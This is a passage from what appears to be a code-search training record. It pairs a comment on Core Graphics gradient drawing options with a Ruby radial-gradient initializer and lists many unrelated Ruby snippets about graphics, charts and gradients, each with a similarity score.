"def grad2grad(grad)\r\n remt(grad, 400)\r\n end",
"def setBounds\n true\n end",
"def repaint_required(tf=true)\n @repaint_required = tf\n end",
"def is_document_style?\n true\n end"
] |
[
"0.64185476",
"0.63436925",
"0.61179215",
"0.5217953",
"0.517254",
"0.49299076",
"0.4890891",
"0.4843747",
"0.4813941",
"0.47849268",
"0.4755723",
"0.47453374",
"0.4696313",
"0.46888286",
"0.46223542",
"0.45965102",
"0.45938864",
"0.4575094",
"0.44811583",
"0.44593403",
"0.4448322",
"0.44474337",
"0.44467872",
"0.4432756",
"0.43427774",
"0.43300232",
"0.42797568",
"0.4278367",
"0.4266859",
"0.42438012",
"0.42347085",
"0.4128543",
"0.4121554",
"0.41169283",
"0.41145775",
"0.41114426",
"0.41107053",
"0.41084954",
"0.40895087",
"0.40724006",
"0.4062898",
"0.40623343",
"0.4035085",
"0.40319425",
"0.40156472",
"0.40106377",
"0.39846453",
"0.3965805",
"0.39561173",
"0.39387175",
"0.393785",
"0.39108208",
"0.3910033",
"0.39012417",
"0.38959274",
"0.38907316",
"0.38878956",
"0.38680372",
"0.3863176",
"0.3857246",
"0.38549808",
"0.38517994",
"0.385143",
"0.3848341",
"0.38268682",
"0.38268632",
"0.3818059",
"0.38162085",
"0.38162085",
"0.38130546",
"0.38023087",
"0.37960526",
"0.37868723",
"0.37813684",
"0.37813684",
"0.37797332",
"0.37696",
"0.37688917",
"0.3759269",
"0.37490135",
"0.37482125",
"0.37455213",
"0.3744107",
"0.374288",
"0.37385353",
"0.37140855",
"0.37139526",
"0.3713703",
"0.3709991",
"0.37082657",
"0.3698391",
"0.36945444",
"0.36798394",
"0.3675345",
"0.36752042",
"0.3666683",
"0.3656055",
"0.3655257",
"0.36413354",
"0.36393842",
"0.36383313"
] |
0.0
|
-1
|
if true, gradient options are KCGGradientDrawsBeforeStartLocation | KCGGradientDrawsAfterEndLocation
|
def initialize(center, radius, colors, points=nil)
self.center(center)
self.radius(radius)
if colors.is_a?(Hash)
self.points(colors.keys)
self.colors(colors.values)
else
self.colors(colors)
self.points(points)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def gradient(gradient=Gradient.new, start_x=@width/2, start_y=0, end_x=@width/2, end_y=@height)\n #options = KCGGradientDrawsBeforeStartLocation\n #options = KCGGradientDrawsAfterEndLocation\n CGContextDrawLinearGradient(@ctx, gradient.gradient, NSMakePoint(start_x, start_y), NSMakePoint(end_x, end_y), gradient.pre + gradient.post)\n end",
"def fill_gradient(options)\r\n default_options = { :from => Gosu::Color::BLACK,\r\n :to => Gosu::Color::WHITE,\r\n :thickness => 10, \r\n :orientation => :vertical,\r\n :rect => Rect.new([0, 0, $window.width, $window.height]),\r\n :zorder => 0,\r\n :mode => :default\r\n }\r\n options = default_options.merge(options)\r\n \r\n rect = Rect.new(options[:rect])\r\n colors = options[:colors] || options.values_at(:from, :to)\r\n \r\n case options[:orientation]\r\n when :vertical\r\n rect.height /= colors.count - 1\r\n colors.each_cons(2) do |from, to|\r\n $window.draw_quad( rect.left, rect.top, from,\r\n rect.right, rect.top, from,\r\n rect.right, rect.bottom, to,\r\n rect.left, rect.bottom, to,\r\n options[:zorder], options[:mode]\r\n )\r\n rect.top += rect.height\r\n end\r\n when :horizontal\r\n rect.width /= colors.count - 1\r\n colors.each_cons(2) do |from, to|\r\n $window.draw_quad( rect.left, rect.top, from,\r\n rect.left, rect.bottom, from,\r\n rect.right, rect.bottom, to,\r\n rect.right, rect.top, to,\r\n options[:zorder], options[:mode]\r\n )\r\n rect.left += rect.width\r\n end\r\n else\r\n raise ArgumentError, \"bad gradient orientation: #{options[:orientation]}\"\r\n end\r\n end",
"def add_drawgradient_option(theOption)\n if @elementHash[:gradientoptions].nil?\n @elementHash[:gradientoptions] = [theOption]\n else\n @elementHash[:gradientoptions].push(theOption)\n end\n @elementHash[:gradientoptions]\n end",
"def gradient\n if end_point && start_point\n (end_point.y - start_point.y) / (end_point.x - start_point.x)\n else\n nil\n end\n end",
"def gradient_layer \n @gradient_layer ||= CAGradientLayer.layer.tap do |gradient_layer|\n gradient_layer.colors = colors\n gradient_layer.locations = [0.0, 0.01, 0.95, 1.0]\n end\n end",
"def xfpropgradient(data)\n io = StringIO.new(data)\n\n type = io.read(4).unpack('V').first rescue binding.pry\n type_d = {\n 0 => :linear,\n 1 => :rectangular\n }[type]\n\n {\n type: type, # type (4 bytes): A Boolean (section 2.5.14) that specifies the gradient type.\n type_d: type_d,\n numDegree: xnum(io.read(8)).round(2), # numDegree (8 bytes): An Xnum (section 2.5.342) that specifies the gradient angle in degrees for a linear gradient. The gradient angle specifies the angle at which gradient strokes are drawn.\n numFillToLeft: xnum(io.read(8)).round(2), # numFillToLeft (8 bytes): An Xnum that specifies the left coordinate of the inner rectangle for a rectangular gradient, where (0.0,0.0) is the upper-left hand corner of the inner rectangle.\n numFillToRight: xnum(io.read(8)).round(2), # numFillToRight (8 bytes): An Xnum that specifies the right coordinate of the inner rectangle for a rectangular gradient, where (0.0,0.0) is the upper-left hand corner of the inner rectangle.\n numFillToTop: xnum(io.read(8)).round(2), # numFillToTop (8 bytes): An Xnum that specifies the top coordinate of the inner rectangle for a rectangular gradient, where (0.0,0.0) is the upper-left hand corner of the inner rectangle.\n numFillToBottom: xnum(io.read(8)).round(2), # numFillToBottom (8 bytes): An Xnum that specifies the bottom coordinate of the inner rectangle for a rectangular gradient, where (0.0,0.0) is the upper-left hand corner of the inner rectangle.\n }\n end",
"def derivatives_options\n opts[:derivatives]\n end",
"def initialize(options = {})\n options[:type] ||= :linear\n parse_options options\n @stop = SimpleTypedList.new GradientStop\n end",
"def draw()\n if visible \n c1 = self.color1\n c2 = self.color2\n gradient = c1 != c2\n if !active\n if gradient\n c1 = Color.inactive_gauge_color1\n c2 = Color.inactive_gauge_color2\n else\n c1 = c2 = Color.gauge_back_color\n end\n end\n \n if gradient\n bitmap.gradient_fill_rect(rect.x, rect.y, rect.width, \n rect.height, c1, c2, self.vertical)\n else\n bitmap.fill_rect(rect.x, rect.y, rect.width, rect.height, c1)\n end\n end\n end",
"def initialize(options={})\n options[:type] ||= :linear\n options.each do |o|\n self.send(\"#{o[0]}=\", o[1]) if self.respond_to? o[0]\n end\n @stop = SimpleTypedList.new GradientStop\n end",
"def cycle_gradient(options)\n raise ArgumentError unless options.include?(:start_color) && options.include?(:end_color)\n count = options.delete(:count) || 4\n steps = count - 1\n @_current_step = 0 unless defined? @_current_step\n \n # First line splits the hex string into channels for each color and zips the two together,\n # resulting in an array of ranges for each channel, eg [[0, 255], [0,255], [0,255]]. The\n # second line then does the interpolation on each channel, formats the string into the\n # proper hex, and joins it all together.\n\n current_color = options.delete(:start_color).scan(/../).collect{|b| b.hex}.zip(options.delete(:end_color).scan(/../).collect{|b| b.hex}).\n collect { |r| \"%02x\"%(r.first + ((r.last - r.first) / steps) * @_current_step) }.join\n @_current_step = (@_current_step + 1) % count\n \n current_color\n end",
"def gradient_fill_region(x, y, a, b, c)\n return if invalid?(x, y)\n fill_region(x, y, c)\n colour(x, y, a)\n x = x.to_i\n y = y.to_i\n conditional_colour(x-1, y, b, c)\n conditional_colour(x+1, y, b, c)\n conditional_colour(x, y-1, b, c)\n conditional_colour(x, y+1, b, c)\n conditional_colour(x-1, y-1, b, c)\n conditional_colour(x+1, y-1, b, c)\n conditional_colour(x-1, y+1, b, c)\n conditional_colour(x+1, y+1, b, c) \n end",
"def stop_gradient(tensor, options = {})\n _op(:stop_gradient, tensor, nil, options)\n end",
"def stop_gradient(tensor, options = {})\n _op(:stop_gradient, tensor, options)\n end",
"def gradient(*args)\n case args.length\n when 1\n arg = args[0]\n case arg\n when Gradient\n min, max = arg.color1, arg.color2\n when Range\n min, max = arg.first, arg.last\n else\n raise ArgumentError, \"Can't make gradient out of #{arg.inspect}\"\n end\n when 2\n min, max = args[0], args[1]\n else\n raise ArgumentError, \"Wrong number of arguments (#{args.length} for 1 or 2)\"\n end\n Shoes::Gradient.new(color(min), color(max))\n end",
"def smooth\n if @options.has_key?(:dot_values) && @options[:dot_values] != false\n dot_size = @options.has_key?(:dot_size) ? @options[:dot_size].to_f : 2\n else\n dot_size = 0\n end\n step = @options[:step].to_f\n height = @options[:height].to_f + (dot_size)\n width = ((@norm_data.size - 1) * step + (dot_size * 2) + 2).to_f\n\n background_color = @options[:background_color]\n create_canvas(width, height, background_color)\n\n min_color = @options[:min_color]\n max_color = @options[:max_color]\n last_color = @options[:last_color]\n has_min = @options[:has_min]\n has_max = @options[:has_max]\n has_last = @options[:has_last]\n line_color = @options[:line_color]\n has_std_dev = @options[:has_std_dev]\n std_dev_color = @options[:std_dev_color]\n\n target = @options.has_key?(:target) ? @options[:target].to_f : nil\n target_color = @options[:target_color] || 'white'\n\n\n\n drawstddevbox(width,height,std_dev_color) if has_std_dev == true\n\n # @draw.stroke_antialias(false)\n # @draw.stroke_width = 2\n @draw.stroke(line_color)\n coords = []\n i=0\n @norm_data.each do |r|\n if i == 0\n i += dot_size\n end\n\n coords.push [ i, (height - (dot_size / 2.0) - 3 - r/(101.0/(height-4-(dot_size)))) ]\n i += step\n end\n\n if @options[:underneath_color]\n closed_polygon(height, width, coords, dot_size)\n @draw.stroke(line_color)\n open_ended_polyline(coords)\n else\n open_ended_polyline(coords)\n end\n\n unless target.nil?\n normalized_target_value = ((target.to_f - @minimum_value)/(@maximum_value - @minimum_value)) * 100.0\n # adjusted_target_value = (height - 3 - normalized_target_value/(101.0/(height-4))).to_i\n adjusted_target_value = (height - (dot_size / 2.0) - 3 - normalized_target_value/(101.0/(height-4-(dot_size)))).to_i\n @draw.stroke(target_color)\n\n if @options[:dot_values] == false\n open_ended_polyline([[-5, adjusted_target_value], [width + 5, adjusted_target_value]])\n else\n open_ended_polyline([[coords.first.first, adjusted_target_value], [coords.last.first, adjusted_target_value]])\n end\n end\n\n if @options[:dot_values] != false\n @draw.fill('black')\n @draw.stroke('black')\n # Rails.logger.debug { \"coords.length = #{coords.length}\" }\n coords.each_with_index do |coord, i|\n # Rails.logger.debug { \"coord = #{coord.inspect}\" }\n @draw.ellipse(coord[0], coord[1], dot_size, dot_size, 0, 360) unless @data[i] > @maximum_value\n end\n @draw.stroke(line_color)\n end\n\n if @options[:dot_values] == false\n drawbox(coords[@norm_data.index(@norm_data.min)], 2, min_color) if has_min == true\n drawbox(coords[@norm_data.index(@norm_data.max)], 2, max_color) if has_max == true\n drawbox(coords[-1], 2, last_color) if has_last == true\n else\n draw_circle(coords[@norm_data.index(@norm_data.min)], dot_size, min_color) if has_min == true\n draw_circle(coords[@norm_data.index(@norm_data.max)], dot_size, max_color) if has_max == true\n draw_circle(coords[-1], dot_size, last_color) if has_last == true\n end\n\n @draw.draw(@canvas)\n @canvas\n end",
"def xfextgradient(data)\n io = StringIO.new(data)\n\n result = xfpropgradient(io.read(44)) # gradient (44 bytes): An XFPropGradient that specifies the gradient fill.\n\n result[:cGradStops] = io.read(4).unpack('V').first # cGradStops (4 bytes): An unsigned integer that specifies the number of items in rgGradStops.\n\n result[:rgGradStops] = [] # rgGradStops (variable): An array of GradStop. Each array element specifies a gradient stop for this gradient fill.\n result[:cGradStops].times { result[:rgGradStops] << gradstop(io) }\n\n result\n end",
"def gradients(tensor_ys, wrt_xs, name: \"gradients\", stop_gradients: nil)\n tensor_ys = tensor_ys.op\n gs = wrt_xs.map(&:op).collect { |x|\n stops = stop_gradients ? stop_gradients.map(&:name).join(\"_\") : \"\"\n gradient_program_name = \"grad_#{tensor_ys.name}_#{x.name}_#{stops}\".to_sym\n tensor_graph = tensor_ys.graph\n\n tensor_program = if tensor_graph.node_added?(gradient_program_name)\n tensor_graph.get_node(gradient_program_name)\n else\n tensor_graph.name_scope(\"gradient_wrt_#{x.name}\") do\n derivative_ops = TensorStream::MathGradients.derivative(tensor_ys, x, graph: tensor_graph,\n stop_gradients: stop_gradients)\n tensor_graph.add_node!(gradient_program_name, derivative_ops)\n end\n end\n tensor_program\n }\n\n gs\n end",
"def draw()\n if visible \n c1 = self.color1\n c2 = self.color2\n br_c1 = self.br_color1\n br_c2 = self.br_color2\n gradient = (c1 != c2)\n br_gradient = (br_c1 != br_c2)\n if !active\n if gradient\n c1 = Color.inactive_gauge_color1\n c2 = Color.inactive_gauge_color2\n else\n c1 = c2 = Color.gauge_back_color\n end\n \n if br_gradient\n br_c1 = Color.inactive_gauge_color1\n br_c2 = Color.inactive_gauge_color2\n else\n br_c1 = br_c2 = Color.normal_color\n end\n end\n \n if filled\n bitmap.draw_filled_circle(self.x, self.y, self.radius, c1, c2)\n end\n \n if border > 0\n bitmap.draw_circle(self.x, self.y, self.radius, br_c1, self.border, br_c2)\n end\n \n end\n end",
"def needs_redraw?\n @needs_redraw\n end",
"def needs_redraw?\n true \n end",
"def show_cluster_point_borders?\n if self.default_options[:cluster_point_border].blank?\n false\n else\n self.default_options[:cluster_point_border] == 'true'\n end\n end",
"def cfgradient(io)\n _, _, c_interp_curve, c_gradient_curve, attrs = io.read(6).unpack('vC4')\n # unused (2 bytes): Undefined and MUST be ignored.\n # reserved1 (1 byte): MUST be zero and MUST be ignored.\n attrs = Unxls::BitOps.new(attrs)\n\n result = {\n _type: :CFGradient,\n cInterpCurve: c_interp_curve, # cInterpCurve (1 byte): An unsigned integer that specifies the number of control points in the interpolation curve. It MUST be 0x2 or 0x3.\n cGradientCurve: c_gradient_curve, # cGradientCurve (1 byte): An unsigned integer that specifies the number of control points in the gradient curve. It MUST be equal to cInterpCurve.\n fClamp: attrs.set_at?(0), # A - fClamp (1 bit): A bit that specifies that the cell values are not used when they are out of the range of the interpolation curve. The minimum or the maximum of the interpolation curve is used instead of the cell value.\n fBackground: attrs.set_at?(1), # B - fBackground (1 bit): A bit that specifies that the color scale formatting applies to the background of the cells. It MUST be 1.\n # reserved2 (6 bits): MUST be zero and MUST be ignored.\n }\n\n result[:rgInterp] = c_interp_curve.times.map { cfgradientinterpitem(io) } # rgInterp (variable): An array of CFGradientInterpItem. Each element is a control point of the interpolation curve. Its element count MUST be cInterpCurve.\n result[:rgCurve] = c_gradient_curve.times.map { cfgradientitem(io) } # rgCurve (variable): An array of CFGradientItem. Each element is a control point of the gradient curve. Its element count MUST be cGradientCurve.\n\n result\n end",
"def list_grad\n if @_data && @_grad.nil?\n raise \"Cannot get gradient array for Parameter '#{@name}' \" +\n \"because grad_req is null\"\n end\n _check_and_get(@_grad, Array)\n end",
"def linear_gradient(x1,y1,x2,y2,extend,*stops) \n g =LinearPattern.new(x1,y1,x2,y2) \n g.set_extend(eval(\"EXTEND_#{extend.to_s.upcase}\")) \n stops.each {|s| \n g.add_color_stop_rgba(*s)\n } \n return g \n end",
"def default_options\n { \n :x => 20,\n :y => 20,\n :gauge_color => \"ff0000\",\n :legend_color => \"cc0000\",\n }\n end",
"def draw()\n if visible \n c1 = self.color1\n c2 = self.color2\n br_c1 = self.br_color1\n br_c2 = self.br_color2\n gradient = (c1 != c2)\n br_gradient = (br_c1 != br_c2)\n if !active\n if gradient\n c1 = Color.inactive_gauge_color1\n c2 = Color.inactive_gauge_color2\n else\n c1 = c2 = Color.gauge_back_color\n end\n \n if br_gradient\n br_c1 = Color.inactive_gauge_color1\n br_c2 = Color.inactive_gauge_color2\n else\n br_c1 = br_c2 = Color.normal_color\n end\n end\n \n if filled\n bitmap.draw_filled_ellipse(self.x, self.y, self.a, self.b, c1, c2)\n end\n \n if border > 0\n bitmap.draw_ellipse(self.x, self.y, self.a, self.b, br_c1, \n self.border, br_c2)\n end\n \n end\n end",
"def gradients(ys, wrt_xs, name: 'gradients', stop_gradients: nil)\n\n gs = wrt_xs.collect do |x|\n stops = stop_gradients ? stop_gradients.map(&:name).join('_') : ''\n gradient_program_name = \"grad_#{ys.name}_#{x.name}_#{stops}\".to_sym\n\n tensor_program = if ys.graph.node_added?(gradient_program_name)\n ys.graph.get_node(gradient_program_name)\n else\n ys.graph.name_scope(\"gradient_wrt_#{x.name}\") do\n derivative_ops = TensorStream::MathGradients.derivative(ys, x, graph: ys.graph,\n stop_gradients: stop_gradients)\n ys.graph.add_node!(gradient_program_name, derivative_ops)\n end\n end\n tensor_program\n end\n TensorStream.group(gs)\n end",
"def needs_redraw?; end",
"def radial(gradient, sx=@width/2, sy=@height/2, er=@width/2, ex=sx, ey=sy, sr=0.0)\n #options = KCGGradientDrawsBeforeStartLocation\n #options = KCGGradientDrawsAfterEndLocation\n CGContextDrawRadialGradient(@ctx, gradient.gradient, NSMakePoint(sx, sy), sr, NSMakePoint(ex, ey), er, gradient.pre + gradient.post)\n end",
"def trainAsGradientDescent\r\n\t\tlRate \t\t\t\t= @parameters[:lRate] || @@defaultGDLearnRate \r\n\t\titerations\t\t\t= @parameters[:iterations] || @@defaultGDIterations\r\n\t\t#Skip identical train\r\n\t\treturn if @trained && @gradientModel && @learningRate == lRate && @iterations == iterations\r\n\t\t#Set hyperparameters\r\n\t\t@learningRate \t\t= lRate\r\n\t\t@iterations\t\t\t= iterations\r\n\t\t#Train Gradient Descent\r\n\t\t@lr.train_gradient_descent @learningRate, @iterations, @silentMode\r\n\t\t#Train flags update\r\n\t\t@trained \t\t\t= true\r\n\t\t@gradientModel\t\t= true\r\n\tend",
"def gradated_background(columns, rows, top_color, bottom_color, direct = :top_bottom)\n gradient_fill = begin\n case direct\n when :bottom_top\n Magick::GradientFill.new(0, 0, 100, 0, bottom_color, top_color)\n when :left_right\n Magick::GradientFill.new(0, 0, 0, 100, top_color, bottom_color)\n when :right_left\n Magick::GradientFill.new(0, 0, 0, 100, bottom_color, top_color)\n when :topleft_bottomright\n Magick::GradientFill.new(0, 100, 100, 0, top_color, bottom_color)\n when :topright_bottomleft\n Magick::GradientFill.new(0, 0, 100, 100, bottom_color, top_color)\n else\n Magick::GradientFill.new(0, 0, 100, 0, top_color, bottom_color)\n end\n end\n\n image = Magick::Image.new(columns, rows, gradient_fill)\n @gradated_background_retry_count = 0\n\n image\n rescue StandardError => e\n @gradated_background_retry_count ||= 0\n GC.start\n\n if @gradated_background_retry_count < 3\n @gradated_background_retry_count += 1\n gradated_background(columns, rows, top_color, bottom_color, direct)\n else\n raise e\n end\n end",
"def highlighted? options={}\r\n matches_path?(highlights, options) \\\r\n && !matches_path?(highlights_nots, options)\r\n end",
"def wantsPeriodicDraggingUpdates \n true\n end",
"def needs_redraw?\n\t\tif @has_changed\n\t\t\t@has_changed = false\n\t\t\treturn true\n\t\tend\n\t\tfalse\n\tend",
"def process_google_options options\n options[:width] ||= 360\n options[:height] ||= 240\n options[:background] = options[:background_color] || options[:background] || 'eeeeee'\n options[:line_thickness] ||= options[:line_width]\n options[:colors] ||= default_color_train\n options[:lighten_background] ||= 0 #percent\n options[:backgroud_shading_angle] ||= 45 # degrees\n options[:axes_color] ||= '444444'\n options[:title_color] ||= '222222'\n options[:y_min] ||= 0\n options[:colors].each_with_index do |color,i|\n if color =~ /#?([0-9a-fA-F]{2}[0-9a-fA-F]{2}[0-9a-fA-F]{2})/\n options[:colors][i] = $1 # strip off the preceding #\n end\n end\n options[:img_width] ||= options[:width]\n options[:img_height] ||= options[:height]\n options[:show_legend] = true if options[:show_legend] == nil\n options[:show_labels] = false if options[:show_labels] == nil\n options\n end",
"def draw_background(options={})\n settings = {z: -1, fixed: true}.merge(options)\n show_shape(:background, settings)\n end",
"def grad(ctx: nil)\n if @_data && @_grad.nil?\n raise \"Cannot get gradient array for Parameter '#{@name}' \" +\n \"because grad_req is null\"\n end\n _check_and_get(@_grad, ctx)\n end",
"def cfgradientitem(io)\n {\n numGrange: xnum(io.read(8)), # numGrange (8 bytes): An Xnum (section 2.5.342) that specifies the numerical value of the control point.\n color: cfcolor(io) # A CFColor that specifies the color associated with the numerical value specified in numGrange.\n }\n end",
"def forced?\n arc.source_arrow.eql?('dash')\n end",
"def show_legend=(v) Axlsx::validate_boolean(v); @show_legend = v; end",
"def draw\n fill_gradient(:from => Color::BLUE, :to => Color::CYAN)\n @header_image.draw(@header_x, @header_y, 100, 3, 3)\n super\n end",
"def drawing?\n @speed.nil? and not @paused\n end",
"def parse_fill_options(options = {})\n return unless options[:bg_color]\n\n color = Color.new(rgb: options[:bg_color])\n dxf = options[:type] == :dxf\n color_key = dxf ? :bgColor : :fgColor\n pattern = PatternFill.new(:patternType => :solid, color_key => color)\n fill = Fill.new(pattern)\n dxf ? fill : fills << fill\n end",
"def draw_setup(gc)\n if @obj.stroke and @obj.strokewidth > 0\n gc.set_foreground @obj.stroke\n gc.set_alpha @obj.stroke_alpha\n gc.set_line_width @obj.strokewidth\n true\n end\n end",
"def is_xy=(value)\n @is_xy = value\n if value\n self.chart_type = :lxy\n else\n self.chart_type = :lc\n end\n end",
"def gradstop(io)\n xclr_type = io.read(2).unpack('v').first\n type = xcolortype(xclr_type)\n\n result = {\n xclrType: xclr_type, # xclrType (2 bytes): An XColorType that specifies how the color information is stored.\n xclrType_d: type,\n xclrValue: _interpret_xclr(type, io.read(4)), # xclrValue (4 bytes): An unsigned integer that specifies the color data.\n numPosition: xnum(io.read(8)).round(2), # numPosition (8 bytes): An Xnum (section 2.5.342) that specifies the gradient stop position as the percentage of the gradient range. The gradient stop position is the position within the gradient range where this gradient stop’s color begins.\n }\n\n num_tint = xnum(io.read(8)).round(2)\n result[:numTint] = num_tint # numTint (8 bytes): An Xnum that specifies the tint of the color.\n result[:nTintShade_d] = num_tint # for compability with FullColorExt\n\n result\n end",
"def draw(graph, options = {})\n node = graph.add_nodes(name ? name.to_s : 'nil',\n label: description(options),\n width: '1',\n height: '1',\n shape: final? ? 'doublecircle' : 'ellipse')\n\n # Add open arrow for initial state\n graph.add_edges(graph.add_nodes('starting_state', shape: 'point'), node) if initial?\n\n true\n end",
"def supports_optimizer_hints?\n false\n end",
"def show_legend=(v) Axlsx.validate_boolean(v); @show_legend = v; end",
"def apply_gradients(grads_and_vars, global_step: nil, name: nil)\n varlist = grads_and_vars.map { |_grad, var| var }\n create_slots(varlist)\n TensorStream.name_scope(name, default: @name) do\n prepare\n apply_ops = grads_and_vars.map { |grad, var|\n TensorStream.name_scope(\"update_\" + var.op.name) do\n apply_dense(grad, var)\n end\n }\n\n if global_step.nil?\n finish(apply_ops, name)\n else\n TensorStream.control_dependencies([finish(apply_ops, \"update\")]) do\n global_step.assign_add(1)\n end\n end\n end\n end",
"def use_default_style?\n return @use_default_style\n end",
"def needs_redraw?\n\t\tif @has_moved || @prawn.needs_redraw?\n\t\t\treturn true\n\t\tend\n\t\tfalse\n\tend",
"def isDelta?\n return @deltaflag if @deltaflag != nil\n return false\n end",
"def gradient(point1,point2)\n ((point1[1] - point2[1]).to_f/(point1[0] - point2[0]))\nend",
"def use_style?\n end",
"def add_grad(grad_t)\n p \"CALLED ADDGRAD\"\n if @grad_tensor\n @grad_tensor += grad_t\n else\n @grad_tensor = grad_t\n end\n end",
"def update!(**args)\n @point_curvature = args[:point_curvature] if args.key?(:point_curvature)\n end",
"def draw_spliced(feature_context, pixel_ranges, gap_starts, gap_stops)\n # draw the parts\n pixel_ranges.each do |range|\n feature_context.rectangle(range.lend, 0, range.rend - range.lend, Bio::Graphics::FEATURE_HEIGHT).fill\n gap_starts.push(range.rend)\n gap_stops.push(range.lend)\n end\n\n # And then draw the connections in the gaps\n # Start with removing the very first start and the very last stop.\n gap_starts.sort!.pop\n gap_stops.sort!.shift\n\n gap_starts.length.times do |gap_number|\n connector(feature_context,gap_starts[gap_number].to_f,gap_stops[gap_number].to_f)\n end\n\n if @subfeature.hidden_subfeatures_at_stop\n feature_context.move_to(self.right_pixel, Bio::Graphics::FEATURE_ARROW_LENGTH)\n feature_context.line_to(@subfeature.feature.track.panel.width, Bio::Graphics::FEATURE_ARROW_LENGTH)\n feature_context.stroke\n end\n\n if @subfeature.hidden_subfeatures_at_start\n feature_context.move_to(1, Bio::Graphics::FEATURE_ARROW_LENGTH)\n feature_context.line_to(left_pixel, Bio::Graphics::FEATURE_ARROW_LENGTH)\n feature_context.stroke\n end\n end",
"def attach_grad(grad_req: :write, stype: nil)\n if stype\n # TODO: support stype\n #grad = MXNet::NDArray.zeros(self.shape, stype: self.stype)\n raise NotImplementedError\n else\n grad = Ops.zeros_like(self)\n end\n grad_req = GRAD_REQ_MAP[grad_req]\n _attach_grad(grad_req, grad)\n end",
"def mixin_should_generate_override_config?\n (is_main_mixin_service? || main_service.mixin_binding_overrides?) &&\n main_service.grpc_full_name != \"google.longrunning.Operations\"\n end",
"def use_graphic_settings(override_settings = false)\n set_fill_color if current_fill_color != '000000' || override_settings\n set_stroke_color if current_stroke_color != '000000' || override_settings\n write_line_width if line_width != 1 || override_settings\n write_stroke_cap_style if cap_style != :butt || override_settings\n write_stroke_join_style if join_style != :miter || override_settings\n write_stroke_dash if dashed? || override_settings\n end",
"def set_legend(params)\n @legend_position = params[:position] || 'right'\n @legend_delete_series = params[:delete_series]\n end",
"def above_line(line,point)\n grad = gradient(line.first,line.last)\n c = grad * -1 * line.first[0] + line.first[1]\n line_y = grad * point[0] + c\n diff = point[1] - line_y\n if diff > -0.000000001 # i'm sure there's something wrong with this!\n return true\n else\n return false\n end\nend",
"def enabled?\n optimization_options.values.any?\n end",
"def line_style(data_set_index, options={})\n @line_styles[data_set_index] = \"#{options[:line_thickness]}\"\n @line_styles[data_set_index] += \",#{options[:length_segment]},#{options[:length_blank]}\" if options[:length_segment]\n end",
"def fast_growing?\n to_mark = false\n for page, interval in GROWTH_THRESHOLDS\n to_mark ||= cross_growth_threshold(page, interval)\n end\n to_mark\n end",
"def update!(**args)\n @blur_baseline_config = args[:blur_baseline_config] if args.key?(:blur_baseline_config)\n @smooth_grad_config = args[:smooth_grad_config] if args.key?(:smooth_grad_config)\n @step_count = args[:step_count] if args.key?(:step_count)\n end",
"def update!(**args)\n @blur_baseline_config = args[:blur_baseline_config] if args.key?(:blur_baseline_config)\n @smooth_grad_config = args[:smooth_grad_config] if args.key?(:smooth_grad_config)\n @step_count = args[:step_count] if args.key?(:step_count)\n end",
"def golden_section(direction=:both, exp=1)\nif direction==:both\nCGPoint.new(self.x.golden_section(exp), self.y.golden_section(exp))\nelsif direction==:x\nCGPoint.new(self.x.golden_section(exp), self.y)\nelsif direction==:y\nCGPoint.new(self.x, self.y.golden_section(exp))\nelse\n raise \"CGPoint: unknown direction #{direction}\"\nend\nend",
"def alpha_blending=(bool)\n ::GD2::GD2FFI.send(:gdImageAlphaBlending, image_ptr, bool ? 1 : 0)\n end",
"def draw_legend\n return if @hide_legend\n\n @legend_labels = @left_data.collect {|item| item[DATA_LABEL_INDEX] }\n @right_legend_labels = @right_data.collect {|item| item[DATA_LABEL_INDEX]}\n\n legend_square_width = @legend_box_size # small square with color of this item\n\n # May fix legend drawing problem at small sizes\n @d.font = @font if @font\n @d.pointsize = @legend_font_size\n\n label_widths = [[]] # Used to calculate line wrap\n @legend_labels.each do |label|\n metrics = @d.get_type_metrics(@base_image, label.to_s)\n label_width = metrics.width + legend_square_width * 2.7\n label_widths.last.push label_width\n\n if sum(label_widths.last) > (@raw_columns - LEFT_MARGIN)\n label_widths.push [label_widths.last.pop]\n end\n end\n\n right_label_widths = [[]] # Used to calculate line wrap\n @right_legend_labels.each do |label|\n right_metrics = @d.get_type_metrics(@base_image, label.to_s)\n right_label_width = right_metrics.width + legend_square_width * 2.7\n right_label_widths.last.push right_label_width\n\n if sum(right_label_widths.last) > (@raw_columns - LEFT_MARGIN)\n right_label_widths.push [right_label_widths.last.pop]\n end\n end\n\n current_x_offset = LEFT_MARGIN #center(sum(label_widths.first))\n current_y_offset = @hide_title ?\n @top_margin + TITLE_MARGIN :\n @top_margin + TITLE_MARGIN + @title_caps_height\n\n @legend_labels.each_with_index do |legend_label, index|\n\n # Draw label\n @d.fill = @font_color\n @d.font = @font if @font\n @d.pointsize = scale_fontsize(@legend_font_size)\n @d.stroke('transparent')\n @d.font_weight = NormalWeight\n @d.gravity = WestGravity\n @d = @d.annotate_scaled( @base_image,\n @raw_columns, 1.0,\n current_x_offset + (legend_square_width * 1.7), current_y_offset,\n legend_label.to_s, @scale)\n\n # Now draw box with color of this dataset\n @d = @d.stroke('transparent')\n @d = @d.fill @left_data[index][DATA_COLOR_INDEX]\n @d = @d.rectangle(current_x_offset,\n current_y_offset - legend_square_width / 2.0,\n current_x_offset + legend_square_width,\n current_y_offset + legend_square_width / 2.0)\n\n @d.pointsize = @legend_font_size\n metrics = @d.get_type_metrics(@base_image, legend_label.to_s)\n current_string_offset = metrics.width + (legend_square_width * 2.7)\n\n # Handle wrapping\n label_widths.first.shift\n if label_widths.first.empty?\n debug { @d.line 0.0, current_y_offset, @raw_columns, current_y_offset }\n\n label_widths.shift\n current_x_offset = LEFT_MARGIN #unless label_widths.empty?\n line_height = [@legend_caps_height, legend_square_width].max + LEGEND_MARGIN\n if label_widths.length > 0 || index == @left_data.length - 1\n # Wrap to next line and shrink available graph dimensions\n current_y_offset += line_height\n @graph_top += line_height\n @graph_height = @graph_bottom - @graph_top\n end\n else\n current_x_offset += current_string_offset\n end\n end\n\n @right_legend_labels.each_with_index do |legend_label, index|\n\n # Draw label\n @d.fill = @font_color\n @d.font = @font if @font\n @d.pointsize = scale_fontsize(@legend_font_size)\n @d.stroke('transparent')\n @d.font_weight = NormalWeight\n @d.gravity = WestGravity\n @d = @d.annotate_scaled( @base_image,\n @raw_columns, 1.0,\n current_x_offset + (legend_square_width * 1.7), current_y_offset,\n legend_label.to_s, @scale)\n\n # Now draw box with color of this dataset\n# @d = @d.stroke('transparent')\n @d = @d.fill @right_data[index][DATA_COLOR_INDEX]\n\n @d.line(current_x_offset, current_y_offset, current_x_offset+legend_square_width, current_y_offset)\n 